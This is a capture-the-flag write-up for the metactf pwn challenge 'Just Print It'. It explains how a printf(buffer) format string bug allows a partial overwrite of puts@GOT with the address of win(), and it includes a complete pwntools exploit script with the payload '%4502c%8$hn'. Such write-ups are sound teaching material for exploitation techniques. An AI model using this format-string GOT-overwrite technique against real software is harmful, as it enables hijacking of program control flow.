Just Print It
Just Print It
Platform: metactf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-04-10 | Status: Solved Techniques: format_string_write, got_overwrite, partial_got_overwrite
Summary
Task: a remote binary reads one line with fgets() and passes it directly to printf(), creating a format string bug in front of a final puts() call. Solution: place puts@GOT on the stack, use %8$hn to write the low two bytes of win(), and let the next puts() jump into the flag-printing routine.
Just Print It — metactf
Challenge
A server at nc.umbccd.net:8925 reads input with fgets into a 128-byte buffer and then calls printf(buffer), followed by puts("\nGoodbye!"). The provided source also contains a win() function that opens flag.txt and prints it.
We are given a small 64-bit ELF source and a remote service running it. The objective is to turn the unsafe printf(buffer) into code execution and redirect the program into win(), which prints the flag and exits.
Analysis
The bug is a classic format string vulnerability:
c read-only • copy allowedfgets(buffer, sizeof(buffer), stdin); printf(buffer); puts("\nGoodbye!");
Because our input becomes the format string itself, we control both reads from the stack (%p, %x, positional arguments) and writes through %n-style specifiers. That makes the immediately following puts() call the perfect control-flow target: if we overwrite puts@GOT with win, the next call transfers execution straight into the flag routine.
The useful addresses were:
puts@got = 0x404000win = 0x401196
Only the low 16 bits needed to change. Writing 0x1196 into puts@GOT with %hn was enough because the higher bytes already matched the same binary/PLT region.
Reconnaissance
The key reconnaissance step was finding where an appended pointer appears in printf's argument list. By padding the format string portion to 16 bytes and then appending an 8-byte address, the controlled qword became reachable as positional argument 8.
That gives a stable primitive of the form:
text read-only • copy allowed%<count>c%8$hn + <8-byte destination address>
Since win = 0x401196, we need printf to have emitted 0x1196 = 4502 characters before %8$hn executes. Therefore the final write count is produced with %4502c.
Exploitation Strategy
- Use the format string to place
puts@GOTon the stack as argument 8. - Print 4502 characters so the current byte count becomes
0x1196. - Execute
%8$hnto write those low two bytes into0x404000. - Let the program continue normally.
- The next
puts("\nGoodbye!")resolves through the overwritten GOT entry and jumps towin()instead.
This is cleaner than building a larger payload because the binary already calls the function we want to hijack immediately after the vulnerable sink.
Final Exploit
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * HOST, PORT = 'nc.umbccd.net', 8925 PUTS_GOT = 0x404000 def main(): payload = b'%4502c%8$hn'.ljust(16, b'A') + p64(PUTS_GOT) io = remote(HOST, PORT, timeout=5) io.sendline(payload) print(io.recvall(timeout=2).decode('latin-1', 'replace')) if __name__ == '__main__': main()
The service returns output containing:
text read-only • copy allowedFlag: DawgCTF{REDACTED}